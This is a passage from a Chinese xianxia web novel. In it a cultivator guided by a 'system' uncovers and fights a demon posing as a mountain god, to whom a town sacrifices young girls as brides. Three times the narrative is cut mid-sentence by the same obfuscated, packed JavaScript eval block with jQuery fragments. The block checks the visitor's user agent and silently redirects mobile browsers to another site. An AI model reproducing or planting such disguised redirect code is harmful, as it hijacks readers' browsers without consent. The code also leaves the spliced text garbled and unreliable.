江清月按下系统的尖叫,握紧树枝充当剑,缓步朝那边走去。若是那东西暴起,她就送出一份透心凉大礼包。
可待她离近了一看,这哪里是索命鬼魂,不过是个偷偷哭泣的小孩。
那人揪着身下的蒲团垫子,泣不成声地呜咽:“呜呜呜我要死了,我还不想死……”
小孩子的声音尖尖细细的,配上破庙里阴森的风景,的确很有诡谲的味道。
她像是哭得有些累了,缓缓坐直抹了把眼泪,余光瞥见站在旁边的江清月,不禁吓出了一个响亮的哭嗝。
见此,江清月后退两步,让余晖照到自己身上,这才道:“我是活人,别怕。你哭什么?”
那小孩愣了愣,嘴一瘪:“我流了好多血,我要死了。”
流血?
她低头看去,果然见那小孩的衣衫上沾着一团血污。但这个位置,瞧着不像是受伤流血,倒像是……来癸水。
“你不会死,”江清月也跟着坐在另外一个蒲团上,安慰她,“这只是你成长的一份标志,代表你要成为大人了。”
小孩子嘴一瘪又要哭:“可我是男的。”
江清月:“……啊?”
费了好一阵功夫,二人才从鸡同鸭讲的状态中跳出来,江清月也从这个名叫“小米”的女孩口中,窥见了飞花镇的一丝秘密。
飞花镇,乃是一处山清水秀的风水宝地,谷物丰收、人杰地灵、人流来往络绎不绝。
可好景不长,天降大旱,镇中竟是连着三年都未下一滴雨。
就在众人焦急不已、不知该如何是好之时,飞花镇山神庙中的神仙显灵,赐下甘霖雨露,救人民与水火之中。众人大喜,连连叩首,宰鸡杀猪供奉山神,祈求风调雨顺五谷丰登。
但这些凡俗祭品全都被山神不喜,它降下指示——每隔三年,送一名女子与他为妻,不计死活。
镇长一听,大喜:还有这等好事!
于是赶忙联合众人将这些年因大灾饿死病故的女子尸体集合起来,喜气洋洋地为女尸装扮,敲敲打打地送上山神庙,慰藉山灵。
时间一年一年的过,山神的胃口却越来越大,它逐渐抬高要求——飞花镇必须一年送一名女子上山为妻,否则就降下神罚!
众人叫苦不迭——日子渐渐好起来,哪里还有那么多因故逝去的女子?
镇长看着落英缤纷、芳草鲜美、五谷丰登的飞花镇,下了一个决定——以活人为祭品。
8. 鬼妻2
江清月眉头紧皱——看来她想的不错,飞花镇中果然有邪祟作祟。
只是没想到,乱象竟是已经持续了这么久,为什么这一百年来从没有宗门或是散修发现?难不成是飞花镇居于幽静之处的缘故?
瞧见江清月面上凝重的神情,小米也停下了磕磕巴巴的讲述。
她擦了擦脸上的泪痕。自方才听到自己不会死后,她的情绪已经平静了许多,只是还是有些抽噎。
小米怯怯道:“姐姐,你也觉得这种习俗很可怕吗?”
闻言,江清月从思绪中抽离,借着烛火看向坐在蒲团上的小米。
她身上的衣服明显是由大人衣服改小的,袖口处有些磨损、打着补丁,但每个补丁都是一针一针密密缝起来的,没有一点粗陋,打眼一看也是干净整洁。
此刻眼巴巴地看着她,跃动的烛光映在她的眼底,明晃晃照出深处的恐惧。
“娘亲很讨厌我同她提鬼妻,一说便要骂我,我也从未与她说过这些,可是……”小米顿了一下,“可是我觉得她们好可怜。我在话本中看过,新娘子应该是笑着嫁给心悦之人的,可嫁给山神的姐姐们好像没得选……她们坐在轿子上时肯定很害怕,她们会哭吗?山神为什么要这么频繁地娶妻子呢?它不能一心一意地爱一个人吗?”
小米垂下眼睛,一连串问了很多问题,最后才声音颤抖着问:“姐姐,我现在也是女孩,那我也会变成山神的妻子吗?”
现如今,江清月总算明白为何小米的娘亲要将她伪装成一个男孩。这不是什么盼望下胎一举得男,只是一个母亲最单纯的祈愿,希望能借着这个由头让她心爱的女儿平安长大,不至于早早送了性命。
如今小米来癸水,既是好事也是坏事。若是被有心人发现,等待她的会是什么?
——江清月想起今日在长街上的那顶红色小轿,神色暗了暗。
小米正兀自陷在惊慌中,突觉身上一暖,抬眼看去,是一件白色的外衫。
江清月将衣服披在小米身上,摸了摸她的头:“别被其他人发现你来了癸水,保护好自己。回家去吧,你娘亲在等你。”
末了,她补充道:“别怕,你不会有事,会有仙人保佑你的。”
小米听话地将衣服穿好,抱起衣角防止掉落在地。她眼中包着泪水,一步三回头地向外走去,逐渐消失在黑暗中。
送走小米,江清月也没了休息的心思,她寻了处干净的地方,开始打坐修炼。
系统冒出来:【宿主,这山神看着不像好神。】
江清月闭着眼睛,将灵力缓缓铺开,道:“为祸人界多年,自然不是好东西。不过它嚣张的时候不多了,明日我便去端了他的老巢,看它还怎么作威作福。”
系统给她加油打气:【宿主厉害!宿主威武!宿主您明天一个左勾拳,再一个右勾拳,那坏山神肯定就跪地求饶了嘿嘿嘿……】
江清月运转灵力,嘴角微微一勾。
……
但理想很丰满,现实很骨感。她如今基础太差,就算不眠不休一晚,修为也不见有一丁点的增长,仿若是一滴水落入大海,激不起一点波澜。
正怀念上一世元婴后期的修为,江清月耳朵忽的微微一动——她又听见了熟悉的丝竹之声。
这次,不用她提醒,系统便大呼小叫道:【又有人娶亲!昨日不是娶过一回了吗?又来?】
的确有蹊跷。
江清月脚步一转,向着乐声传来的方向走去。
入目之景,仿佛是昨日又重演了一遍——同样的长街,同样的喜轿,同样的抬轿人……唯一不同的是,沿街围了一大片看热闹的镇民。他们纷纷打开紧闭的屋门,同街坊邻居大声攀谈,脸上都挂着笑容。
现场闹闹哄哄,与昨日的冷清之景截然相反。
仪仗队中抬轿人与随行之人也是满面喜色,仿佛是亲自送家中女儿出嫁一般。
江清月站在后方瞧着这一幕,眼睛微微眯起——奇怪。
相隔不到一日,为何镇中一年一度的接鬼妻又再次上演?众人对待两次仪仗的态度又为何天差地别?难不成是因为昨天接鬼妻出了差错,今日就要再来一遍?
不知怎的,她心里隐隐有一种不好的预感,还未来得及细想,便被一道凄厉的女声打断。
“我的女儿!”
一道身影从她身侧掠过,飞一般扑向仪仗队,目标正是那顶血红小轿。
现场喜乐戛然而止,众人纷纷看向这个打断娶亲仪式的不速之客,眼中满是愤怒。一个头发花白,看起来德高望重的老人拄着拐杖上前来,咳了两声:“闹什么!负责看管的人去哪了?!”
那妇人对旁边众人的目光和议论充耳不闻,一气跑到喜轿旁便要揭开帘子。
就在这时,几名壮汉及时赶到,七手八脚将那妇人重新押好:“村长,这女人劲儿太大了,我们按不住她!反倒叫她给跑了!”
那妇人喊道:“你们这群狗日的!丧良心的王八蛋!小米她还是个孩子啊,你们怎么忍心?”
小米?
听到名字,江清月心中一惊,今日飞花镇中的种种反常也在此刻得到了解释——昨天回家的路上,小米还是被人发现了。
她不由心中懊恼——早知道,昨天不该让小米独自回家的。
而好巧不巧,那发丝凌乱,脸上满是泪痕的妇人,正是昨日劝她离开之人。她骂了半晌,态度转而又软化下来,向着四周不住地弯腰,眼泪止不住地流。
“我求求你们了,我就小米这么一个女儿,不能没有她啊!李婶儿您是看着小米长大的、王小妹昨天小米还喊你姐姐呢、张大娘……我求你们了,让他们停下来!我给你们磕头,我给你们下跪……”她用力挣开壮汉,膝盖一弯便要跪下。
可现场众人只是冷眼旁观,看她膝盖磕在地上发出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447476|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“咚”的一声响。
见状,村长叹了口气,苦口婆心道:“你这又是何必呢?身为飞花镇的女子,都要经历这么一遭,这都是为了飞花镇的未来!况且她既已来了癸水,便是有资格做鬼妻的!我们能世世代代生活在这里,不就是因为大家都互相奉献吗?能被山神选中做鬼妻是你家小米的福分,送走她一个,才能造福大家伙!”
说着他又有些埋怨:“若不是你隐瞒小米是女子,我们又何苦要用木偶伪造鬼妻?好在昨日没送成,这若是被山神得知了,可是要降下神罚的!难不成你想为了一己私利,害得我们全镇人都为此送命吗?”
此话一出,在场众人都纷纷点头:“是呀是呀,去年做鬼妻的是我家小女儿。”
另一人也道:“当年我妹妹也同她一般大,我不也是一边哭一边送她上了山么?都是这么过来的。”
众人皆道:“我们都送了自家女儿姐妹,凭什么她家就想着躲过去?没有这么好的事!”
妇人跪在地上,看着众人面上的神色,不住道:“你们都疯了……你们是一群疯子!把我的小米还给我!她是我女儿!”
“冥顽不灵,”村长将拐杖在地上狠狠点了几下,“这人得了失心疯,同她娘一个样!罢了,先关上一阵子,过段时间再放出来,免得扰了山神大人的清净。”
闻言,几名壮汉准备行动,却见一白衣女修忽然闪现在那妇人面前,衣袂翻飞,神色冰冷如霜。
众人纷纷被她惊住,一时间不敢动作,眼睁睁看着她扶起妇人,又上前几步一把掀开喜轿帘子,露出其中被绑的严严实实的小米。
小米歪躺在轿子中,身上裹着套不合身的红色嫁衣,手脚皆被麻绳绑住,口中也塞着布条,此刻正瞪大眼睛看着恍如神降的江清月,呜呜作声。
江清月捏紧拳头,硬生生忍下口中的脏话,回头对茫然的众人道:“你们都被骗了,山神庙里等着你们供奉的根本就是一尊食人血肉的邪神!什么接鬼妻、降神罚全都是骗你们的,目的只是为了满足他的一己私欲。今日我来到飞花镇是为了替民除害,日后你们便再也不用受他的桎梏……”
她话音未落,便被一人打断,那人神色中满是戒备:“我们如何相信你的话?我们世世代代住在这里,而你只是一个外来人,自然是站着说话不腰疼。若是不送女子上山为鬼妻,山神震怒,自然不会波及到你!”
有了一人指点,其余人恍然大悟,看向她的目光中都带上了同样的戒备和敌意,仿佛江清月才是要加害他们的罪魁祸首,纷纷开口阻止她。
见江清月不为所动,更是恶向胆边生,恶声恶气道:“我瞧这人也是个年轻女子,不若将她也绑了送上山神庙!”
此言一出,众人自然是无不响应,偶尔有几个零碎的杂音也被盖了过去。
系统震惊:【我的天,这些人在说什么?宿主,我怎么好像突然听不懂人话了?】
9. 鬼妻3
江清月没理会系统的话,她拉起小米转手将她推到那妇人怀中,另一手则快速凝起一股灵力暴击,反手一甩——
只听“轰!”的一声,长街中央那颗足足六人合抱的粗壮古木便被击碎了一半,剩下半截树干颤颤晃动不止,片片树叶花瓣如同蝴蝶般蹁跹落下,美不胜收。
众人却没心思欣赏这一美景,全都被吓得呆傻在原地,整条长街安静如鸡。他们眼睛一会转到古树上,一会转到江清月身上,暗暗吞了吞口水,都绝口不再提方才的事。
江清月也跟着瞅了瞅只剩半边的古树,悄悄吐出口气——方才灵力不小心加多了,那树应该不会倒吧?她只想借此震慑住他们,万一砸到人就不好了。
就在这时,一道熟悉的女声从人群外围传进来,打破寂静——“怎么都聚在这里,发生何事了?”
江清月抬眼看去,几名身穿相同宗门服饰的少年少女正越过众人向这边走过来,众人瞧他们衣着气质不凡,都很自觉地让开一条路供他们通行。
走在最前面的是一名身穿黄衫、面容秀美的少女——竟是孟今朝!
见到她,孟今朝也是微微一愣,随后笑道:“雁府一别,没想到还能在这里遇见道友,属实是有缘。”
江清月没同她寒暄,开门见山问道:“你们来此,也是为了解决飞花镇中的魔物邪祟?”
“没错。”孟今朝点头,“我们接到宗门指示,特来此除魔卫道,只是初来乍到,还不知此处的具体情况,不知道友可否解答一二?”
江清月挑挑眉:“那就得问村长了。”
飞花镇位于颍川地界,乃是天启宗的管辖范围。村长就算再不明了这几名少年少女的身份,看到那极具代表性的黄色衣衫,也顿时明白了一切,冷汗霎时就下来了。
村长擦了擦额上的汗,点头哈腰道:“哎呀误会,都是误会!没想到天启宗仙师竟大驾光临,真是有失远迎啊!”
他这幅模样,与方才面对小米母女时截然相反。
江清月心中对他的做法十分不喜,且看他支支吾吾半天也说不到正点上,便直接将自己这两天的所知所得,简短告知了孟今朝。
听完她的介绍,孟今朝皱起眉头:“真是胡闹!这邪魔威胁你们如此之久,为何不上报仙门,反而要用无辜女子的命去供奉它?”
村长颤颤巍巍:“小民也不知那山神,呸,那邪魔竟狡猾之此……还望各位仙长救救飞花镇!小老儿自知罪孽深重,再无颜面见地下列祖列宗,只愿诸位仙师能广开一面,救救飞花镇!”
随后,长街上众镇民齐刷刷跟着跪下,口中高呼道:“还望各位仙长救救飞花镇!”
天启宗的众弟子从小生活在仙门之中,哪里见过这等道德绑架的场面,忙扶起离他们最近的人,惊道:“好端端的这是做什么?快起来快起来!”
已经脱下嫁衣的小米依偎着妇人站在原地,她看了看江清月一行人,又看了看跪在地上磕头高呼的众人,有些迷茫,不知该如何是好。
江清月冲她摇摇头,又从袖中拿出一张薄薄的纸片,聚灵气在指尖,轻轻划了几下,一个活灵活现的纸片小人就出现在她的手掌心中。
随后她伸手一抛,那巴掌大的小人便像吹了气一般不断变大,待纸片小人落在地上时,身量已经与正常人一般无二。
小米惊讶地张大嘴:“好神奇!好厉害!”
孟今朝正对着众人不知该如何是好,偶一扭头见到纸人,差点条件反射甩出一剑,凝神看去才发现这不过是个普通的纸片人,并不是她们在雁府遇到的纸阴人。
松了一口气的同时,孟今朝又有些不解:“道友,你剪个纸人出来做什么?”
江清月慢条斯理道:“做新娘。既然山神要娶妻,那便给它一个。”
闻言,孟今朝愣了一愣,旋即明了:“好主意!如此便可以假代真,不必再让镇中女子冒险了……”
她话音未落,便被一道满含嫌弃的年轻男声打断:“这等小事,也需要旁人指点才能理解,看来天启宗也不过如此。弟子资质差成这样还占着五大宗之一的名头做什么?不若早早请辞去,至少还能留得住些体面,总比旁人将你撵走的强。”
几名身穿紫衣的弟子从长街远处走近,皆是轻袍缓带容色姝丽,只是他们脸上挂着的轻蔑笑容,让人心中隐隐升起一丝不适。
为首的是一名年轻男子,他穿着紫衣,眼下一点血红小痣,正是方才开口嘲讽之人。
几人越过跪地的镇民,悠悠道:“真是一群蠢人。”
江清月看着那几名紫衣弟子,缓缓眯起眼睛——果然出门还是要看黄历,不然就会踩到狗屎。
仙游宫的人在她这里,和狗屎一个等级。
修真界地域广阔,由五大宗共同治理,且每个宗门都有自己独特的校服配色,便于在共同除魔卫道时能更快分清自己人,正如昆仑山派的校服是青色、天启宗的校服是黄色……而仙游宫的校服,则是骚包又亮眼的紫色。
仙游宫宗如其名,收入门下的弟子皆是些容貌俊秀的俊男美女,每每在路上相遇,都分外吸引旁人的目光。
但若是让她在修仙界选一个最讨厌的门派,那一定非仙游宫莫属。
无他,这个宗门的人实在是太欠打了,就算貌若天仙也掩盖不了他们招人厌烦的本质。
饶是孟今朝脾气好,听到这话也不由得皱起眉头:“卫闫,管好你自己,天启宗管辖范围内的事用不着仙游宫来插手。”
卫闫笑道:“说你资质差,还不肯承认。天下任何一处出现邪魔歪道,皆需要我们前去制服,何来分管辖地区一说呢?你这话难不成是想分裂修仙界?”
“你……!”孟今朝不擅长吵架,三言两语便被他绕了进去,不由气急。
卫闫扯出一丝微笑,正想开口便被一人打断——
“哎呀快离他远点!”孟今朝迷迷糊糊地被人拉着后退了几步,扭头便看见江清月对她挤眉弄眼,“方才你们聊着,我瞧那人的口水都喷到你身上了,回去要记得把这件衣服洗上三遍才行!”
孟今朝呆呆张大嘴:“啊?”
卫闫也绷不住脸上的假笑,一字一顿道:“我没有。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447477|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江清月充耳不闻,继续在孟今朝袖子上拍来拍去,嫌弃道:“我的天,我刚刚还看到他牙上有菜叶!这嘴里味儿得多大?看来洗三遍不行,要洗五遍!!!”
听着她的话,孟今朝也慢慢明白过来,跟着点头:“嗯,好。”
卫闫被她们说的怀疑不已,低头在自己身上嗅了两下,但动作做到一半,又反应过来,恼羞成怒道:“我没有!我每天都会在宗门泉水中净身!”
江清月这才像是刚发现他在一旁,堆起一个特别假的假笑:“嗯嗯好的,我知道,你没有!你怎么可能牙上有菜呢?刚刚都是我瞎说的!”
可这话说了还不如不说,几重否定下更显得她现在的辩解像是欲盖弥彰。
卫闫脸都青了。
长街上跪地的镇民都忍不住偷偷抬起头来,想一探究竟。卫闫怒道:“不准看!都不准看!!!”
众人被吓得又急忙低下头去,可还是有些好奇心强的偷偷趁他不注意悄悄抬头瞄上几眼,然后同跪在一旁的邻居叽叽喳喳:“哎呀,真是没想到这么仙风道骨的人牙上竟然有菜叶!天爷呢,我家六岁的小娃娃都会自己刷牙!”
卫闫额角青筋狂跳:“我都说了——我牙上没有菜叶!!!”
飞花镇众人又是一惊,叽叽喳喳道:“我的天!我们这么小声他都能听到?看来以后当着他的面绝对不能说他牙上有菜!”
修仙者五感灵敏于常人,卫闫听得清楚,在场其他修仙者自然也听得分外明晰,一时之间眼神都不住地往卫闫身上扫去。
就连方才立在他身后的几名仙游宫弟子,也默默地退了几步,同他拉开距离。
江清月低头掩去嘴角的一丝笑容——小样,还治不了你?
那厢卫闫仍在兀自恼怒,这边江清月已经将纸片人扶起,让小米和她娘亲给纸片人套上嫁衣。
小米不懂,但小米照做。
孟今朝凑近帮忙系嫁衣的腰带,眼中满是感激,低声道谢。
江清月对她摆摆手:“不用不用,我也是看不惯他们这种嘴欠的做派。若你真要答谢,就赶快将山上的邪魔制服吧。”
孟今朝眼睛亮晶晶的:“嗯!”
没了仙游宫等人的干扰,几人很快便将纸人扮好,塞进了喜轿中。
这时,卫闫已经平复好了心情,又恢复成了一副假笑的样子,凑过来道:“你以为这纸人骗得过那邪祟?”
江清月也假笑:“说人话。”
卫闫轻咳两声,语气神秘莫测:“这纸毕竟是死物,既无血肉又无神魂……你干什么?!”
江清月白他一眼,将一缕泛着莹润白光的神魂附在那纸人身上:“既无神魂,给她一份便是。你大惊小怪什么?”
以前她要逃昆仑山派的弟子功课,用的都是这一招,如此扯出来放回去,她都习惯了。
系统悄声提醒道:【宿主,修仙界的神魂是很重要的东西,若是随意从体内剥离,会对本体造成巨大损伤。你没事,是因为你的魂魄本就是外来的,悠着点儿哈,别被发现了。】
江清月:“……”你咋不早说?
10. 鬼妻4
众人十分呆愣地看着她将那缕神魂塞进纸人体内,脸上是如出一辙的震惊。
但下一秒,便见神色如常的江清月忽的面色惨白,挺直的脊背也弯了下去,虚弱地咳了两声:“既无神魂……咳咳……给她一份便是。”
系统感叹:【啊,好假。】
江清月:“……你闭嘴!”
于是系统麻溜地闭嘴了。
江清月心下惴惴——不会被发现吧?之前在昆仑山派的时候,她也拜托过纪行云帮她带纸人上课,虽然十有八九都会被拒绝,但是他也没表露出什么奇怪的震惊啊?她还以为这事是最常见不过的……难不成是纪行云天生就情绪稳定?
她这厢胡思乱想,那边孟今朝已经快步上前来扶住了她的小臂,面上表情说不上是心疼还是斥责:“道友,你这又是何必呢?我们还有其他方法可用,怎可如此损伤自身?”
见已经成功忽悠了一个,江清月又虚弱地咳了两声:“除魔卫道,是修仙者的职责所在,我心甘情愿。”
此言一出,江清月忍不住嘴角抽搐了几下,好在她低着头,没被其他人发觉——这台词真的好羞耻!
但羞耻归羞耻,作用还是很大的。
在场众人闻言皆是一震,都被她这无私大爱的发言惊得瞠目结舌。小米更是红着眼眶,几乎落下泪来:“仙人姐姐……”
——打住,打住!这走向怎么搞得她下一秒就要羽化成仙了一样?你们想象力不要太丰富啊!
江清月赶忙道:“咳咳,我没事了,我们还是赶快上山吧!”
……
一行人沿着蜿蜒山路向上,江清月被夹在黄色和紫色中间缓缓前进,木着脸道:“我真没事,要不咱们走快点儿吧?太阳都快下山了。”
她又一次提出建议,但又一次被孟今朝否决:“不可,剥离神魂乃是对身体大有损害的行为,若不是道友坚持要上山,在下定要让道友好好在山下歇息才是。”
江清月退而求其次:“好吧,那我自己走,总可以吧?”
几番拉扯下,江清月才勉强获得了独立行动的自由,不必像二级伤残一般被几名小辈搀扶着走。
她放眼四周,山上也种着大片花树,但与镇上不同的是,行走在其中竟连一丝日光的温暖也感知不到,层层叠叠的树荫将天空完全遮盖起来,好像一座密不透风的牢笼将他们笼罩其中。
四周静的可怕,只有众人踩断树枝的“咔嚓”声和呼吸声,除此外竟连一丝鸟叫虫鸣都没有。
除了“病号”江清月,其余人皆是扮作轿夫,或是抬轿、或是跟在轿旁充当随行奏乐之人,一同护送纸片人上山。
卫闫自然是不肯抬轿的,他垂着手走在一旁,很是嫌弃地拂去衣角上沾的露水,冲前方不耐烦道:“走了这许久,到底还有多久才能到?要是敢带我们绕远路,小心你的脑袋!”
前方的一名轿夫擦了擦额上的汗,回头小心翼翼的陪着笑脸:“快了快了,这山路是不好走,仙君您再等一等。”
此人衣着是标准的轿夫打扮,腰背微微佝偻着,肩上扛着那顶红色小轿,步伐稳健。他是山下飞花镇的村民,自告奋勇来做众人的领路人。
卫闫冷哼一声,没去理会那轿夫递过来的善意。
很快,拐过一处弯,呈现在众人眼前的是一座庙宇,外表看起来很是破败、年久失修,像是下一秒就会倒塌。
卫闫将其上下打量一番,道:“你们那山神,就住在这种地方?它也真是住的下去。”
轿夫搓搓手,随其余几人一同将小轿放在庙前空地上:“山神大人不拘泥于这些,它很随和的。平日里我们将祭品抬上山,也不用将其送到庙中,只需放在门前,随后下山即可。”
很显然,即使飞花镇的人们知道了他们一直以来景仰的山神,不过是一尊邪神,也改不掉他们心内的景仰,一谈起来口吻还是毕恭毕敬。
这不是一朝一夕能改掉的,江清月也没打算纠正他们,她的关注点在另外的地方:“也就是说,你们从没进过这座山神庙?”
轿夫挠了挠脸,点点头。
闻言,一名天启宗小弟子嚷嚷道:“可我们总不能一直在这等着吧?天知道那东西什么时候会出来?”
几番权衡下,众人还是决定进山神庙一探究竟。
进庙前,孟今朝从随行囊袋中掏出一枚泛着银光的圆片递给那轿夫:“此行危险,你肯为我们带路,必不能叫你受伤。这东西给你傍身,必要时可以抵挡一次金丹修士的攻击。”
那轿夫是个凡人,不懂她口中的金丹是何物,其余修士则是暗暗投过来讶异的目光——此物珍贵程度非同一般,一些小门小派举宗上下可能都找不出一件来充门面,孟今朝竟是就这么随手给了刚见不过两面的凡人?
一名天启宗弟子急道:“师姐,这可是宗主给你的奖赏!要不换一件吧?正好我这里也有防御类的法器……”
孟今朝摇摇头,将那名小弟子的法器塞回去,回头对那名手足无措的轿夫道:“你收着便是。若是不能护人性命,这件法器也就失去存在的意义了。”
那轿夫就算再不懂,看到众人的反应也明白过来,不住的道谢。
江清月正同系统讨论后续剧情线走向,闻言抬头望去,眼中浮现出几点欣赏之色——此女心智品格上佳,来日必能成大器。她以多年来的养孩子经验做担保!
就在这时,几声细小的簌簌声被风吹过来,是站在一旁的仙游宫众弟子。他们或垂手或抱肩,面上神色很是不屑,偶有耳语交谈传来——“天启宗真是给修仙界丢脸,竟是连一个小小轿夫也要百般巴结?”
“……他们宗门传统一向如此,听说宗主也是个惯会阿谀奉承的。”
“呵,这种讨好别人的手段我们可学不来,也不需要去学。”
卫闫嘴角噙着一丝笑,他眼皮一掀,正巧对上江清月的目光。卫闫一愣,不着痕迹地收回目光,同几名仙游宫弟子先行一步进了山神庙。
直到紫色衣袍消失在门边,江清月才收回视线——果然,她还是最讨厌仙游宫的人。
她站起身来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447478|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扬声道:“姑娘们,聊完了没,要干正事啦!”
闻言,几名弟子也顾不得围在轿夫身边、教他如何使用法器,忙不迭地奔过来,其中还夹杂着一两句对山神庙内景象的猜测,里面该是一幅怎样的血肉炼狱?
却不想,刚踏进山神庙,众人便傻了眼。
庙里陈设十分简单,甚至可以说是简陋——积灰的案台结着蛛网,上面摆着几个缺角的盘子,几根燃到一半的香烛,除此外什么都没有,就连庙中常常摆放的神像都没有——全然不似他们想象的那般血腥可怖。
只是内里气味实在算不上好闻,是一股长久地瘀滞在庙内、陈腐朽败的味道,推门时便裹挟着尘扑面而来,直将众人熏了个倒仰,干呕不止。
仙游宫众弟子更是恨不得将自己的五感全部封闭起来,这里实在是太脏太乱太恶心了!
江清月正狂扇面前空气,祈求能扇走令人作呕的味道,忽然肩膀被人碰了碰,转头看去是孟今朝。她捂着鼻子,瓮声瓮气道:“道友你看,这是什么?”
顺着她手指的方向,江清月看见了地上有数滴形状规律,色泽怪异的圆形印记。这印记整体呈红褐色,仿佛是某种液体滴落造成的,且分布广泛,细看去整个庙的地板上都有。
江清月若有所思:“……好像是血。”
“血?”卫闫凑过来道,“这里连具尸体都没有,哪来的血?”
江清月翻了个白眼,正想开口跟这个啥也不懂的小屁孩好好讲一讲,眼前却忽的恍惚一瞬——她好似灵魂出窍,在不断的升高、升高,最后竟是升到了半空,以一种十分诡异的角度注视着山神庙中狂扇风的一群人。
这种感觉太奇怪了。
但下一瞬,她又猛地从空中掉落,直直摔进自己身体里面,摔得她头昏脑涨,差点条件反射将肩上那只手甩飞出去,还好赶在最后一刻看清了孟今朝的脸。
她松下精神,听到孟今朝担忧的声音:“……你脸色很差,还好吗?”
江清月想摇头,但又不受控制陷入幻境,以方才俯视的视角、清晰地看着庙中的自己,正在被孟今朝拍着肩膀安慰。
视角切换混乱,她的头脑却是愈加清醒——不,这不是幻境!而是她附在纸片人身上的那缕神魂,正在同她共感——有东西动了藏在轿中的纸片人!
思及此,江清月立刻催动灵力将神魂召回。下一瞬,不断颤动的灵台猛地静下来。她缓缓睁开眼,果然又看见了孟今朝担忧的脸。
“……道友?”
“我无事。”
江清月摆摆手示意她放心,眼神在庙内四处搜寻——此行上山共十一人,那名带路的轿夫也早就随他们一同进入了庙中,所以……是谁在外面?
或者说,是谁在上面?!
江清月猛地抬起头,果不其然在房梁半空中,看见了幽幽挂在半空中、一荡一荡的纸片人。
她心中猛地一震,眼睛紧紧盯住上方。
那房梁不仅挂着那张没了魂的纸片人,还挂着数不清的红色嫁衣,正在随风飘荡。
11. 鬼妻5
见江清月一直盯着上方,孟今朝不由心中疑惑,紧跟着向上看去。
待看清的那一刻,孟今朝猛地握住剑,身侧也紧跟着炸开几声尖叫——“天呀,那是什么?”
“怎么会有这么多?!”
山神庙房梁上挂满了褪色的红嫁衣,款式与那纸片人身上的一致,只是更旧更破,上面还沾着风干的血迹,就像是……从那些“新娘”身上硬生生扯下来一般。
此时,一房梁的旧嫁衣正随着风缓缓飘动,那画面让人看着就不自觉心里发凉。
——果然,地上的红褐色印记就是血,而且是这些悬挂在房梁上的嫁衣上滴下来的!
江清月神色凝重。方才进山神庙时,她早已经将上上下下全部探查过一轮,都未发现房梁上的这些红嫁衣,它们是如何突然出现的?
就在这时,一道诡异的声音从房梁上传来——“尔等凡人,还不速速跪拜!”
这声音似远忽近,带着某种蛊惑。一个年纪稍小的仙游宫弟子神色恍惚一瞬,竟是腿弯一曲,就要听从命令跪拜。
只是他刚有一个动作,便被卫闫直接薅了起来:“你疯了,跪这鬼东西??那凡人都没事!”
那小弟子被他一喝,脸上迷茫神色瞬时消失不见,转而闹了个大红脸,嗫嚅道:“我,我也不知道,就是不自觉地听了这魔物的话。”
——看来,这妖魔就是用这种方法对飞花镇的民众洗脑,让他们源源不断地送女子进入山神庙,名为结亲,实则只为了满足它的口腹之欲!
许是见众人皆神色清明、未被蛊惑,那魔物竟是缓缓地从梁上探了下来。
众人皆是一惊,不敢相信自己看到了什么——房梁上盘踞着个不成人形的东西,上半截长着一张脸,其下全是蠕动的黑色触手,周身弥漫着浓浓的黑雾,几根触手在黑雾中缓缓地卷曲伸缩。
而这黑雾中又隐隐约约透着些红和白,江清月瞳孔猛地缩成小小一个点——纸片人!
一根卷曲的触手抓着那已经失了魂的普通纸片,轻而易举地将它身上的红嫁衣撕了下来,颇为得意地挥来甩去。至于他们方才看到的那些嫁衣,实际也是一直被这妖魔抓在“手”里!
众人皆被这场景镇住,无言以对。
方才那受到蛊惑的仙游宫弟子见此,彻底忍不住了,崩溃道:“呕——!好恶心!这什么鬼?!”
山神张开血盆大口,正打算一口吞了村民们进贡的“鬼妻”,没想到却咬了一嘴纸屑。正恼怒狂躁之际,忽的听到那小弟子的声音,更是愤怒不已,它两只黑洞似的眼睛里倏地钻出几条细小的触手,咆哮道:“竟敢欺骗山神!好大的胆子!”
随着这道声音落下,一只肥硕的触手裹着黑雾猛得从房梁上射出,直冲着那仙游宫弟子面门而去!
“蠢货,躲开!”卫闫怒喝。
他抽出长剑,剑身因灵力不断涌入而逐渐发亮,随后脚尖一点便向着那处冲去。
可不知是那弟子又中了妖魔的迷魂,还是被吓得手脚发软,竟是就这么直接呆愣在了原地,一动不动。
卫闫恨恨咬牙,用尽全力往前一劈!
可有一人动作比他更快,闪亮灵流划过,只听“嗖”的一声,那截冒着黑气的触手便“啪嗒”断在了地上。
是江清月。
她将手中的“灵剑”挽出个绚丽的剑花,正是她在飞花镇中捡到的那支树枝,见众人看过来,挑眉道:“人穷没办法,其实这玩意还挺好用的。”
